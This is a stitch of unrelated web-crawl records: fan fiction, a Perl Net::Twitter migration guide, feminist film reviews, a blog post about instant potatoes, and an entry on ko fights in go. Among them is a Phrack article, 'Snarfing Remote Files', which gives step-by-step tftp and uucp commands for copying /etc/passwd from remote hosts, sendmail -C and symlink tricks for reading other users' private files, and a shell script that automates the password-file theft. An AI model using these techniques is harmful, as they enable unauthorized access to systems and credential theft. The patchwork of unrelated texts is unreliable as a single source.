at least for a little while. But I know that once I hear him whisper my
name in that soft, gravelly voice
I'll be lost.
And, eventually, he'll go, and I'll be lost without him.
I can't let that happen. For the sake of my sanity, I just can't.
It's not lost on me, you know, the irony of it all. When I was sixteen, I
wanted him with a passion that I thought could never be equaled, much less
surpassed. But I couldn't have him. And now I remember that long-ago
passion, and I can see how it pales beside what lingers somewhere inside me.
And I still can't have him.
Life's a real bitch.
Tonight, I'll go to bed alone. I'll wake up the same way. And tomorrow
I'll carry on with my life, and I'll face whatever overtures Logan deems
necessary in his pursuit of me. What he doesn't know, and I won't tell
him, is that nothing he tries will succeed. Because first he'd have to
tell me that he doesn't plan on leaving anytime soon. Then I'd have to
believe him, which isn't going to happen, because to do that I would have
to trust him.
And I don't. I've seen inside his head; how can you trust a man who
doesn't trust himself?
"It's easy to moon over a lost love - to fantasize over what might have
been, secure in the knowledge that it'll never happen. It makes a great
excuse for not facin' the risks and demands of reality."
--Logan, "The Uncanny X-Men" (#183)
| <urn:uuid:4fda4947-a49a-4ed6-8a6d-ebcfbe033f1b> | https://groups.yahoo.com/neo/groups/xmenmoviefanfic/conversations/topics/1183?o=1&source=1&var=1 | en | 0.9844 | 0.022168 | mlfoundations/dclm-baseline-1.0-parquet |
++ed by:
15 PAUSE user(s)
11 non-PAUSE user(s).
Marc Mims
Net::Twitter::Manual::MigratingToV1_1 - Migrating from Twitter API v1 to v1.1
version 4.01003
use Net::Twitter
my $nt = Net::Twitter->new(
traits => [qw/API::RESTv1_1/],
consumer_key => $consumer_key,
consumer_secret => $consumer_secret,
access_token => $access_token,
access_token_secret => $access_token_secret,
Net::Twitter prior to version 4.0 used Twitter API version 1. Twitter API v1.1 introduced changes that are not entirely backwards compatible, requiring some changes to calling code.
Net::Twitter attempts to provided backwards compatibility where possible. This document describes the changes required to your existing application code, using Net::Twitter, for use with Twitter's API v1.1.
Include the API::RESTv1_1 trait
Wherever you create a Net::Twitter object by calling new, replace trait API::REST with API::RESTv1_1. For most applications, that's all that is required.
Trait RateLimit incompatible with API::RESTv1_1
The RateLimit trait is incompatible with Twitter API v1.1. Rate limiting is one of the most extensive changes in v1.1. In v1 there were two hourly rate limits, one per IP address for unauthenticated calls, and one per-user/application for authenticated calls. In v1.1, all calls must be authenticated, and each API endpoint (i.e., each method) has it's own rate limit. Rather than hourly, the new rate limits operate on a 15 minute window.
If your code currently uses the RateLimit role, you'll need to write some custom code provide equivalent functionality.
The return value for rate_limit_status is entirely different. See Twitter's API rate_limit_status documentation for details.
With API v1.1, these methods use cursor based paging. If you do not pass a cursor parameter, Twitter assumes cursor => -1>. Existing code that expects an arrayref return value must be modified to expect a hashref and dereference the users slot:
# With API v1
my $r = $nt->friends;
my @friends = @$r;
# With API v1.1
my $r = $nt->friends;
my @friends = @{$r->{users}};
The search method semantics and return value are substantially different between Twitter API v1 and v1.1. In v1, search was provided by the API::Search trait. In v1.1, search is included in the API::RESTv1_1 trait.
So, first, drop API::Search from your calls to new. The API::Search trait is incompatible with API::RESTv1_1.
In v1, Twitter returned a hashref with several keys containing meta data. The actual array of results were contained in the results slot:
# With Twitter API v1
my $nt = Net::Twitter->new(traits => [qw/API::REST API::Search/]);
my $r = $nt->search('perl hacker');
for my $status ( @{$r->{results} ) {
# process each status...
In v1.1, Twitter returns a hash with 2 slots: search_metadata and statuses.
# With Twitter API v1.1
my $nt = Net::Twitter->new(traits => [qw/API::RESTv1_1/], %oauth_credentials);
my $r = $nt->searh('perl hacker');
for my $status ( @{$r->{statuses} ) {
# process each status...
Paging through search results works differently in v1.1. In v1, Twitter offered a page parameter:
# With Twitter API v1
for ( my $page = 1; $page <= 10; ++$page ) {
my $r = $nt->search({ q => $query, page => $page, rpp => 100 });
last unless @{$r->{results}};
# process a page of results...
In v1.1, use max_id and count to get paged results:
# With Twitter API v1.1
for ( my %args = ( q => $query, count => 100 ), my $n = 0; $n < 1000; ) {
my $r = $nt->search({ %args });
last unless @{$r->{statuses}};
$args{max_id} = $r->{statuses}[-1]{id} - 1;
$n += @{$r->{statuses}};
# process a page of results...
Some Twitter API v1 methods are not available in v1.1:
Use home_timeline instead.
friendship_exists and it's aliases are not supported in API v1.1. Use show_friendship instead:
my $r = $nt->show_relationship({
source_screen_name => $user_a,
target_screen_name => $user_b,
if ( $r->{relationship}{source}{following} ) {
# $user_a follows $user_b | <urn:uuid:461d1af0-08ea-4769-90de-97891eb00c0b> | https://metacpan.org/pod/release/MMIMS/Net-Twitter-4.01003/lib/Net/Twitter/Manual/MigratingToV1_1.pod | en | 0.71708 | 0.023999 | mlfoundations/dclm-baseline-1.0-parquet |
AOH :: P28-06.TXT
Snarfing Remote Files
==Phrack Inc.==
Volume Three, Issue 28, File #6 of 12
+ +
+ Snarfing Remote Files +
+ +
+ by +
+ +
+ Dark OverLord +
+ +
There are many ways of getting copies of files from a remote
system that you do not have permission to read or an account on
login on to and access them through. Many administrators do not
even bother to restrict many access points that you can use.
Here are the simplest ways:
A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
of a file if you are running on an Internet based network.
B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy
of a file if uucp connections are running on that system.
C) Access one of many known security loopholes.
In the following examples, we will use the passwd file as the
file to acquire since it is a readable file that can be found on
most systems that these attacks are valid on.
Method A :
1) First start the tftp program: Enter the command:
[You have the following prompt:]
2) The next step is to connect to the system that you wish to
retrieve files from. At the tftp, type:
tftp> connect other.system.com
3) Now request the file you wish to get a copy of (in our case, the
passwd file /etc/passwd ):
tftp> get /etc/passwd /tmp/passwd
[You should see something that looks like the following:]
Received 185659 bytes in 22 seconds.
4) Now exit the tftp program with the "quit" command:
tftp> quit
You should now have a copy of other.system.com's passwd file in
your directory.
NOTE: Some Unix systems' tftp programs have a different syntax.
The above was tested under SunOS 4.0
For example, on Apollos, the syntax is:
tftp -{g|g!|p|r|w} <local file> <host> <foreign file>
Thus you must use the command:
tftp -g password_file networked-host /etc/passwd
Consult your local "man" pages for more info (or in other words
At the end of this article, I will include a shell script that
will snarf a password file from a remote host. To use it type:
gpw system_name
Method B :
Assuming we are getting the file /etc/passwd from the system
uusucker, and our system has a direct uucp connection to that
system, it is possible to request a copy of the file through the
uucp links. The following command will request that a copy of
the passwd file be copied into uucp's home directory
/usr/spool/uucppublic :
uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'
The flag "-m" means you will be notified by mail when the transfer is
Method C:
The third possible way to access the desired file requires
that you have the login permission to the system.
In this case we will utilize a well-known bug in Unix's sendmail
The sendmail program has and option "-C" in which you can specify
the configuration file to use (by default this file is
/usr/lib/sendmail.cf or /etc/sendmail.cf). It should also be
noted that the diagnostics outputted by sendmail contain the
offending lines of text. Also note that the sendmail program
runs setuid root.
The way you can abuse this set of facts (if you have not yet
guessed) is by specifying the file you wish read as the
configuration file. Thus the command:
sendmail -C/usr/accounts/random_joe/private/file
Will give you a copy of random joe's private file.
Another similar trick is to symlink your .mailcf file to joe's
file and mail someone. When mail executes sendmail (to send the
mail), it will load in your .mailcf and barf out joe's stuff.
First, link joe's file to your .mailcf .
ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf
Next, send mail to someone.
mail C488869@umcvmb.missouri.edu
And have fun.
-=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
: gpw copyright(c) Dark Overlord
/usr/ucb/tftp $1 << EOF
mode ascii
get /etc/passwd /tmp/pw.$1
AOH Site layout & design copyright © 2006 AOH | <urn:uuid:823a2e8f-f19a-41cf-9fc2-1914a08b8cfa> | http://artofhacking.com/files/phrack/phrack28/live/aoh_p28-06.htm | en | 0.811081 | 0.024385 | mlfoundations/dclm-baseline-1.0-parquet |
Bitch Media - movie reviews en Bitch Radio: Pariah In Theaters Now! <p><img src="" alt="The purple-tinged movie poster of Pariah, featuring Alike sitting in a bus seat looking at her reflection in the mirror." align="left" height="385" hspace="10" width="259" /> For this week's podcast, Kelsey, Jyoti, Ashley and I talk about the movie <em>Pariah,</em> the feature-length film by Dee Rees that's already garnered lots of critical praise. The movie follows Alike (pronounced <em>Ah-lee-kay</em>, and played by Adepero Oduye), a young black lesbian living in Brooklyn, who deals with the trappings that come with being a teenager: crushes, annoying parents, drama with friends, and trying to fit in. You can <a href="">watch the official trailer here</a> (which we excerpt in the podcast), and <a href="">watch the interview with the director we mention here</a>.</p> <p>Make sure you support this movie on opening weekend! <a href="">Check here to see if it's coming to a theater near you</a>.<br /> <br clear="all" /></p> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" height="26" width="640"> <param name="allowfullscreen" value="true" /> <param name="allowscriptaccess" value="always" /> <param name="quality" value="high" /> <param name="cachebusting" value="true" /> <param name="bgcolor" value="#000000" /> <param name="movie" value="" /> <param name="flashvars" value="config={'key':'#$aa4baff94a9bdcafce8','playlist':[{'url':'pariah_podcast_final.mp3','autoPlay':false}],'clip':{'autoPlay':true,'baseUrl':''},'canvas':{'backgroundColor':'#000000','backgroundGradient':'none'},'plugins':{'audio':{'url':''},'controls':{'playlist':false,'fullscreen':false,'height':26,'backgroundColor':'#000000','autoHide':{'fullscreenOnly':true},'scrubberHeightRatio':0.6,'timeFontSize':9,'mute':false,'top':0}},'contextMenu':[{},'-','Flowplayer v3.2.1']}" /><embed type="application/x-shockwave-flash" src="" allowfullscreen="true" allowscriptaccess="always" cachebusting="true" bgcolor="#000000" quality="high" flashvars="config={'key':'#$aa4baff94a9bdcafce8','playlist':[{'url':'pariah_podcast_final.mp3','autoPlay':false}],'clip':{'autoPlay':true,'baseUrl':''},'canvas':{'backgroundColor':'#000000','backgroundGradient':'none'},'plugins':{'audio':{'url':''},'controls':{'playlist':false,'fullscreen':false,'height':26,'backgroundColor':'#000000','autoHide':{'fullscreenOnly':true},'scrubberHeightRatio':0.6,'timeFontSize':9,'mute':false,'top':0}},'contextMenu':[{},'-','Flowplayer v3.2.1']}" height="26" width="640"> </embed></object> <ul> <li><a href="">Subscribe to Bitch Radio on iTunes</a></li> <li><a href="">Subscribe to Bitch Radio via RSS</a></li> <li><a href="">Download this podcast from</a></li> <li><a href="/sites/default/files/documents/pariahtranscript.doc">Download a transcript of this podcast in .doc form</a></li> </ul> movie reviews Pariah podcast Feminist Podcast Fri, 13 Jan 2012 22:56:34 +0000 Kjerstin Johnson 14689 at Double Rainbow: Adam: "More like a child than anything else" <p></p><P><IMG alt="screen shot of two youngish white people, a man and a woman, sitting next to each other in a park" src="" width=520 height=310 /></p><P>When I watch movies that I know I am going to hate, I always try to view them in the company of a particular friend who has become a kind of movie-watching chaperone. Sharing the experience of a painfully awful film helps temper my rage. One summer day when we decided to rent <EM>Adam </em>and <EM>Mozart and the Whale </em>as a double-feature, my friend seemed far more entertained by my wrathful outbursts than by the movies themselves.</p><P>The 2009 romantic drama <EM>Adam </em>features a relationship between a non-autistic woman and a man with Asperger syndrome. Any portrayal of autistic sexuality has the potential to be subversive, but unfortunately this particular movie squanders that potential and reinforces existing tropes about autism and disability. Watching it as a person on the spectrum, I was pissed off to no end at the film's insistance that people like me are too naive, alien, and downright dangerous to maintain an intimate relationship.</p><P><EM>Adam </em>opens with a voiceover that plays over a shot of the starry night sky against which the opening credits solemnly fade in and out. The voice is that of Beth (Rose Byrne), the lead female character, wistfully recounting how her favorite children's book "is about a prince who came to Earth from a distant asteroid." The prince meets a pilot whose plane has crashed in a desert and "teaches the pilot many things, but mainly about love." "My father always told me I was like the little prince," says Beth, "but, after I met Adam, I realized I was the pilot all along." This opening soliloquy tritely encapsulates the entire story before the film has even begun. Continuing in the tradition of developmentally disabled characters in Hollywood films, Adam's ultimate purpose is the moral instruction and betterment of the non-disabled Beth and, by extension, of the audience. Despite being the title character, he is ultimately a plot device.</p><P>In his first lines of dialogue, it is revealed that Adam avoids eye contact, a common autistic trait, and that he speaks rapidly and with atypical prosody, a characteristic established by Dustin Hoffman's performance in <EM>Rain Man </em>which has, like savantism, come to define autistic characters in film even though language abnormalities do not always manifest this way, and atypical language development and use is not necessarily part of an Asperger's diagnosis. (Also, the vast majority of autistic people are not savants.)</p><P>Adam meets Beth, an elementary school teacher hoping to become a children's writer, when she moves into his apartment complex, and during one of their very first encounters the film makes sure to further illustrate Adam's strangeness and "inappropriate" behavior along with establishing a rapport between the characters. Beth arrives at their building with a cart of heavy packages, while Adam sits on the front steps with his laptop. He returns her greeting with a remark about new images from NASA's <A href="">Cassini mission</a>. This is clearly meant to signify his social ineptitude. After making a show of clumsily dragging her packages partway up the steps, Beth pointedly says "Well, I'll just be hauling these enormous grocery bags upstairs now..." to which Adam simply replies "Okay" without offering to help her. Again, this is meant to signify his lack of social skills in that he is unable to pick up on her hint, but doesn't it say something about Beth's own poor social skills that she uses a passive aggressive hint in the first place, instead of simply asking for help with her groceries? Her interpersonal skills are never called into question, and this moment of passive aggression is presented as a normal expression of exasperation.</p><P>As part of the same encounter, Beth invites Adam to a small gathering, promising to knock on his door at eight o'clock to see if he has decided to accompany her. That night finds Adam waiting anxiously in his apartment, growing ever more agitated as eight o'clock passes and the minutes tick by. The uncertainty caused by this deviation from what he understood to be a fixed plan causes the first emotional reaction from his character so far as he begins to panic. When Beth is finally heard knocking on the door, Adam cannot bring himself to answer. Pressing his back against the door frame, he looks into a mirror beside him and his face contorts with a look of self-loathing. Aware of how odd his behavior seemed, he makes a point of apologizing to Beth after her party, and invites her to his apartment to show her an elaborate projection of the galaxy that he has set up in his living room. During this scene, it becomes clear that space is Adam's "special interest"—a subject on which he obsessively amasses an encyclopedic amount of knowledge.</p><P>Following this encounter with Beth, Adam tries to converse about recent developments in astronomy over lunch with Harlan (Frankie Faison), a friend of his father's who acts as a mentor and guardian, and whose character falls uncomfortably close to the archetype of the <A href="" target=_blank>Magical Negro</a>. "Speak English!" Harlan exclaims when Adam tries to engage with him about space. "Lunch time is for guy talk: two guys talking about women, the weather, and such." The point that appropriate interaction between men should not extend beyond inane small talk and the objectification of women is visually emphasized when a woman in a short, tight skirt walks by in the foreground, only her upper legs and waist visible, and Harlan gazes after her with a grunt of lustful appreciation. When Adam tells Harlan about Beth, Harlan instructs him, "Adam, you're the man. You have to start the conversation."</p><P>As a gesture of following through with his budding romantic interest in Beth, Adam takes her to Central Park at night to watch raccoons. "Raccoons? In Central Park?" Beth exclaims. (As if astounded by the very idea, even though raccoons are extremely common in New York City...) "How did you know where'd they be?" she asks Adam, enchanted. (Despite the fact that Central Park is the single most obvious place in the city to look for arboreal mammals.) The question leads to a little exploration of Adam's character as he expresses how he enjoys the quiet of sitting and watching the raccoons, and an awkward metaphor is introduced when he says "They don't really belong here, but here they are." This metaphor carries through to the end of the film, and serves to emphasize the underlying idea that autistic people are somehow inhuman and not of this world.</p><P>The next day, Adam loses his job at a toy manufacturer because somehow his attention to detail, task commitment, and high level of skill are costing the company money. Distraught, he walks to the school where Beth works and stands in the parking lot waiting for her while children cavort on the playground. A police car rolls up behind him, and the officer asks what he is doing. "I'm watching the children," is his reply, obviously meant to convey that he is too "innocent" to understand why a grown man watching school children might be cause for alarm. The police let him go, but only after roughly handling him in order to check his identification. Beth emerges from the school, but Adam is too distraught to speak to her and hurries away. The scene that immediately follows this is brief and disturbing. Adam stands alone in his dimly-lit apartment, his face close to the mirror beside his door. Wordlessly, he slams his head once against the mirror, cracking it, and gazes blankly at his reflection as blood trickles down his forehead. The scene clearly conveys that even though he is "innocent," Adam harbors a capacity for violence and is therefore dangerous.</p><P>The scene which marks the real initiation of Adam and Beth's relationship is yet another awkward interaction in which Adam has invited Beth into his apartment. When Beth remarks "I had a really nice time last night in the park," Adam responds with "Were you excited?" She expresses puzzlement and he quickly clarifies, "Sexually. When we were in the park." She responds in the negative and is obviously uneasy, but he barrels on with "Well, I ask because I was, and I wondered if you were too." As one might expect if such a conversation played out in real life, Beth promptly gets up to leave. This is the set-up for the film's "reveal" (which a viewer would already have anticipated if she had seen the <A href="">trailer</a> or read any publicity associated with the film) in which Adam confesses to Beth that he has Asperger syndrome. He offers it as an excuse for his inappropriate question, and, though still shaken, she accepts it. The unspoken implication is that a developmental disability somehow precludes the possibility of sexual assault. Adam's condition excuses his unwanted sexual advances because it makes him too "innocent" to have considered following through with them.</p><P>For some reason this revelation only further intrigues Beth, and she seeks more information from a fellow teacher who tells her that Asperger syndrome is "like a high-functioning form of autism" and confirms that, because of this, Adam "isn't really prime relationship material." Nonetheless, Beth is charmed by Adam's "quirky" behavior and his obvious affection for her, and becomes set on making Adam into into a kind of pet project. In the process of socializing with him and trying to "normalize" his behaviors, she becomes romantically involved with him.</p><P>Although the relationship between Adam and Beth is implicitly sexual, the film avoids portraying any actual sex scenes. The closest it gets is a scene in which Adam and Beth sprawl, fully-clothed, across Beth's bed. "Do you want sex?" he asks with his characteristic bluntness. "I think I do," she replies, and the scene cuts away as they kiss. They never even start to take their clothes off. There is one other brief scene that shows them in bed together, but they are literally just sleeping. Thus the film avoids fully confronting autistic sexuality and the reality of autistic desire, and thereby avoids having to rupture the recurring theme of Adam's "innocence."</p><P>The film maintains tension via the cliché that Beth's family is wealthy and her parents want her to marry someone who can offer her financial stability. (At one point, her father even says "If you married an investment banker...") There is also a poorly integrated and unnecessary subplot in which Beth's father is convicted of tampering with financial records and in the process is revealed to have cheated on his wife. Ostensibly the point is the tired truism "money isn't everything," and that even with wealth and stability one can feel unfulfilled.</p><P>Ultimately, however, Beth and Adam's relationship fails precisely because—monetary wealth aside—he <EM>cannot </em>provide her with protection and stability. The relationship first begins to fall apart in a scene where Adam unwittingly discovers that Beth has lied to him about a seemingly trivial matter. He explodes at her, shouting and physically striking out against objects in the room. The meltdown is poorly integrated into the plot—it had not been in any way previously established that Adam placed any special value on honesty—but the point of the scene is to re-emphasize his childlike unpredictability. As Beth's father later puts it: "It's not his fault, but he's more like a child than anything else. He'll never be the kind of man that you can admire, that you can look up to...He lives in another world. You shouldn't have to make that kind of compromise."</p><P>Despite Beth's initial protest, she ultimately takes her father's words to heart. In a conversation over the phone with her mother, she condenses them into what essentially comprises the core message of the film: "We'll never have a moment when we look into each other's eyes and know exactly what the other person's feeling." For good measure, she adds "He's never told me that he loves me. I don't know what it would mean to him if he did." People with Asperger syndrome are incompatible with the popular notion of romantic love, the kind of wholly fictitious yet irresistibly desirable bond wherein two people can magically read each other's thoughts. In fact, our very understanding of and expression of love as a concept is alien.</p><P>Moments after voicing these revelations, Beth finds out from Adam that he does love her, and what that means. It means, in part, the usual clichés, such as "You're a part of me," but it also means that he looks to her for guidance and support when navigating the non-autistic world. This latter part finally drives her away, even as she had been about to accompany him on a move from New York to California to take up a new job. At the last minute, she breaks off the relationship for good because she realizes that she cannot turn Adam into a normal, appropriate partner. He will never be able to fulfill his masculine role. The very last scenes of the film are a coda in which Adam has adjusted to his new job and Beth has published a picture book. The tone of the closing scene, in which Beth sends Adam a copy of her book with the note "Look how far we've come," and the lyrics of the song that plays over it—"Can't Go Back Now" by The Weepies—make it clear that Beth had been a surrogate maternal figure whose guidance nudged Adam closer to being "normal." Adam was a device through which Beth "found herself" and achieved some kind of nebulous moral betterment.</p><P>A non-autistic viewer ostensibly is meant, like Beth, to come away from the film with a vague sense of "betterment." As an autistic viewer, I find the film rather crushing, and I am left only with a renewed understanding that I am constructed, by a discursive web of popular media and pop-psychology, as at best a quirky innocent lost in my own world and at worst as an unpredictable monster lurking in human shape.<SPAN> </span>In any case, the message is the same old notion that autistic people are unworthy or incapable of intimate relationships, at least with non-autistic partners.</p> <p></p><P><STRONG>Previously:</strong> <A href="/post/double-rainbow-sweet-sweet-chocolate-feminist-film-review-autism-ableism" target=_blank>Sweet, Sweet "Chocolate"</a>, <A href="/post/double-rainbow-stepping-back-autism-language-feminism" target=_blank>Stepping Back</a></p> Adam autism movie reviews Movies Fri, 13 Jan 2012 20:11:53 +0000 Caroline Narby 14694 at Jennifer's Body was a bummer. I mean wettie-killer. <p><center><img src="" /><br /> <i>This movie should have been awesome!</i></center></p> <p>Like many feminist blog readers and pop-culture junkies, Kelsey and I have been following the hype on <i>Jennifer's Body ,</i> starring Megan Fox as a cheerleader-turned-flesh-eating-demon and Amanda Seyfried as her loyal but mousier (Hollywood mousier) BFF, since we <a href="/post/jennifers-body-is-it-feminist-you-make-the-call">watched the preview</a> way back in July. We finally got a chance to see it this Monday, and while <a href=""> hate</a> is a strong word, there was one too many WTF? moments ("867-5309"?!) for us to get a feminist buzz off this flick (especially after being surprisingly touched by <a href=""><i>Whip It</i></a> preview). So like the vlogging pioneers we strive to be (did you know we have a <a href="/video">video page?</a>) we sat down moments after the credits rolled to give our impressions, which include a primer on Diablo Cody's latest vernacular additions (:30), why we were disappointed (1:13), and of course its redeeming qualities (What? Unlike some people--JENNIFER!--we're not all filled with black bile and bloodlust. 4:19)! Check 'er out and share your own spoiler-filled thoughts on the movie!</p> <object width="560" height="340"><param name="movie" value="" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object><p><center><i>no seriously, spoilers</i></center></p> <p>KW: Alright I'm Kelsey and<br /> KJ: I'm Kjerstin<br /> KW: Kjerstin and I just saw Jennifer's body. First of all, did you like the movie?<br /> KJ: No. I didn't. I thought it was really bad<br /> KW: Thumbs up or down? What would you--?<br /> KJ: I would have to do two thumbs down.<br /> KW: I would also give it two thumbs down.<br /> KJ: It's not just a feminist thumbs down, it's like a… movie thumbs down.<br /> KW: My feminist thumb and movie going thumb are both down. </p> <p>**</p> <p>KW: Let's talk a little bit about some of the slang we learned. Diablo Cody is queen of slang terms that to0 cool for school teens like to use to each other.<br /> KJ: there's salty.<br /> KW: Salty means that a boy is cute. I had never heard it before. To all you salty fellas out there…<br /> KJ: "Jello,"… but I say that.<br /> KW: "jello" if you're jealous. You do say that?<br /> KJ: "gummer".<br /> KW: "gummer" was like somebody kind of a who's a hick or a loser<br /> KJ: And the best one was "wettie".<br /> KW: Yeah. If you have a vagina and you get turned on by something you have a total wettie. </p> <p>**</p> <p>KW: I'll start by saying one of the reasons I'm disappointed is that I had high hopes for the movie.<br /> KJ: I didn't have high hopes but it got talked up a lot about being like, a revamped horror flick…like, she eats boys! Like that's feminist, right? Like… killing boys.<br /> KW: Right. "She's feminist." And there were these interviews with Diablo Cody, who wrote the script for the movie--<br /> KJ: Right and Diablo Cody's like this edgy ….<br /> KW: Right and she's like "ohh--<br /> KJ: …that really edgy film about the pregnant girl? I don't' know if you guys saw that…<br /> KW: I don't know I guess I will say it was nice to see a female friendship at the forefront of the plot of the movie but--<br /> KJ: that's true, seeing any female-centered… both the villain and protagonist were...<br /> KW: …were girls. So it passed the Bechdel test. At one point, by the swimming pool, she [Jennifer] has just murdered a really cute high school boyfriend [Chip]. Then Needy says, "Is it just because of your insecurities..", and that was maybe the only point where I was like, "Oh they're trying to make a commentary: ….popular girls have insecurities. "<br /> KJ: Like oh, that's what drives women to like eat guys alive…is our insecurities, maybe?<br /> KW: Yeah and they pointed out that she had an eating disorder, she uses laxatives to stay skinny… this is the Megan Fox character, Jennifer.<br /> KJ: I like how the spoilers is that "she uses laxatives to lose weight," like that's the spoiler.<br /> KW: Right. Spoiler. She gets an eating disorder! </p> <p>**</p> <p>KW: Right and I don't know, I think I wanted to like her character more, if she was cooler and funnier, instead she was—<br /> KJ: Right. cause you could get behind the demon thing if you actually liked her.<br /> KW: Yeah..i guess?<br /> KJ: Maybe the other point was that Jennifer was insecure and she was feasting on the attention of boys and using her sexuality and she got power from that? Maybe this is where the inspiration from the movie came from?<br /> KW: Right, a biting commentary.<br /> KJ: But yeah that didn't come out at all, you had to kind of search for that meaning and once you found it it was like, oh, that's not really….<br /> KW: And we were searching pretty hard. Probably not everyone was searching this hard. </p> <p>**</p> <p>KW: Also there was there was this horrific, like triggering kind of gang rape scene .<br /> KJ: YEAH!<br /> KW: where she gets tied up by this indie rock band and knifed to death [air quotes], I mean that's when she gets overcome by the demon.<br /> KJ: She's also kidnapped sort of? [more air quotes] by this evil indie band, which I also found really creepy because if you were in Needy's position and you saw your best friend come out of a bar, she's really out of it, and the band is like come with us, get in the van, and you know, to her you're not watching a Diablo Cody horror movie, it was kind of scary! It was like they were blending this kind of real scary situation but it was hard for me to play that off like 'ha ha see you later"<br /> KW: "This is kind of campy! This is sort of funny!"<br /> KJ: It wasn't campy it was weird. And so was the scene where they sacrifice her.<br /> KW: It was already kind of weird to be so irreverent about teen pregnancy, and then to be irreverent about teen rape and murder was just like, "Even within this context…." </p> <p>**</p> <p>KJ: I thought it was interesting in the end how Chip is the one whose life is in danger and his girlfriend is the one who has to come to the rescue and you don't' see that every day.<br /> KW: Yeah I liked that too. She was wearing a really tacky prom dress too. I actually really like the heterosexual high school couple's relationship. I felt like, even when they kind of gave us too much of a window into their awkward sex it seemed really realistic.<br /> KJ: Diablo Cody learned a lesson from Juno and put in a condom this time , which was awesome.<br /> KW: Amy Sedaris played the mom, who I'm a fan of, so that was cool to see. Although… she wasn't really in it. None of the characters really had parents…that were really in the movie. And of course Amanda Seyfried, the best friend Needy, gets basically… I mean she does murder Jennifer at the end of the movie and she gets found having murdered her when what she really did was save the whole town from the demon and so she has to go to a correctional facility…<br /> KJ: which was weird, I thought that was a whole other can of worms.<br /> KW: Yeah I mean I guess I really didn't like that decision to inject some realism at the end. Like couldn't she just have gotten away with it?<br /> KJ: Yeah isn't that what we're doing here?<br /> KW: Right couldn't she have ended up the empowered female character? She does break out of prison but you get the impression that she's going right back. </p> <p>**</p> <p>KW: Bitch magazine was supposed to be in the movie..! We signed a waiver for set dressing, but we didn't see it the whole time<br /> KJ: No . I thought I did but I could have been wrong.<br /> KW: It didn't show up. I think that could have helped. Diablo Cody, if you're watching….</p> <p>** </p> <p>KW: So I guess I would say overall, probably we don't recommend it, if you haven't seen it in the theater yet. Save your money…or you know just renew your subscription to Bitch. !</p> Amanda Seyfried Diablo Cody horror movies Jennifer's Body megan fox movie reviews movies slasher films Women in Film Video Wed, 23 Sep 2009 03:36:44 +0000 Kjerstin Johnson 2237 at | <urn:uuid:1d42cc9f-f985-473e-bf43-3f231263153e> | http://bitchmagazine.org/tag/movie-reviews/feed | en | 0.961909 | 0.064361 | mlfoundations/dclm-baseline-1.0-parquet |
Thursday, September 13, 2012
A terrible confession....
I have a confession. I have a problem. A liking, a fondness, even maybe an addiction, of sorts. Is it drugs, you ask? No, I'm too old, did all my drugs in my youth like you are supposed to. Alcohol? Nah, I seldom drink, maybe 3-4 times a year. Sex? Well, maybe, but no, not that either.
So what is it, you are asking yourself? What is this horrible secret I have carried for years and years? What is this thing, this monkey on my back, that I am finally willing to face, and put out there for all to see?
The faint at heart, look away now............
.....the horror, the horror.......
Mashed potatoes. Specifically, INSTANT mashed potatoes. Any kind, most any flavor. Expensive, cheap, doesn't matter, as long as it is instant potatoes.
So what's the big deal? Well, I'm a chef, and I am also a supporter of non-GMO crops and Slow Food. And I have this horrible addiction to a plastic-like food substance.
I love them. I love them so much, that if I have a box, I will eat them every day, sometimes every meal, until they are gone. Breakfast, lunch and supper. Instant mashed potatoes. The Devil. Evil, evil stuff. How I love it. The ease of slapping some potato powder, milk, water and a little butter into a big Pyrex measuring cup, and nuking for 2 minutes. The wallpaper paste texture. The patently artificial taste. I love it all.
My favorite meal is a mound of instant potatoes, some sort of veg, like peas or corn, layered with shredded BBQ meat of some sort. Maybe a little cheese if I feel like it that day/meal. Quick, easy and oh-so good!
So you are sitting there thinking, 'So make some mashed potatoes, what's the big deal?' The hassle. The peeling, the chopping, the cooking. All of it. When I'm in the middle of a busy day at the bakery, this fast food abomination takes little time to fix, not too much longer to eat, and I can be on with my day. Yes, I know they are bad for me. But I still love them, and I will most likely continue eating them until I can't eat them any longer. Pray for me.
1. Well... they ARE yummy... especially with plastic cheese melted on top!
2. And that's why I need a microwave! :D
3. Yes! You can't make instant mash without the microwave! | <urn:uuid:b1e43716-0794-4463-8014-663e358ce75e> | http://dragonsfoodporn.blogspot.com/2012/09/a-terrible-confession.html | en | 0.958558 | 0.30635 | mlfoundations/dclm-baseline-1.0-parquet |
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Go b.svg Go c.svg Go b1.svg Go w.svg Go r.svg
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An example of a situation in which the ko rule applies
A ko (コウ ?) fight is a tactical and strategic phase that can arise in the game of go.
Ko threats and ko fights[edit]
The existence of ko fights is implied by the rule of ko, a special rule of the game that prevents immediate repetition of position, by a short 'loop' in which a single stone is captured, and another single stone immediately taken back. The rule states that the immediate recapture is forbidden, for one turn only. This gives rise to the following procedure: the 'banned' player makes a play, which may have no particular good qualities, but which demands an instant reply. Then the ban has come to its end, and recapture is possible. This kind of distracting play is termed a ko threat.
If White, say, chooses to play a ko threat, and Black responds to the threat instead of ending the ko in some fashion, then White can recapture the stone that began the ko. This places Black in the same position that White was formerly in: Black can choose to give up the ko, or to find a ko threat. If Black and White alternate making ko threats with recapturing the ko, they are having a ko fight.
Eventually, one of three things will happen.
• One player will decide that winning the ko immediately is more important than responding to her opponent's latest ko threat. The player will move so that her opponent cannot recapture the ko, and her opponent gets to follow up on his last ko threat, effectively making two moves in one area of the board.
• One player will run out of ko threats. That player will be forced to make a play that his opponent does not have to respond to immediately, and his opponent wins the ko immediately.
• One player will decide that playing elsewhere on the board is more important than continuing the ko. The opponent can either win the ko, or play elsewhere on the board.
Practical evaluation[edit]
Before deciding to start a ko, it is worthwhile evaluating what threats are available to both players, so that one can decide which side is likely to win the ko fight.[1] Many of the playing skills come together in ko fighting (evaluating the value of moves; reading ahead to find likely moves of the opponent and best responses; choosing the best order of moves), and it is a topic of much discussion among players. This also causes many beginners to be fearful of fighting a ko, since they are not confident of their ability to evaluate threats.
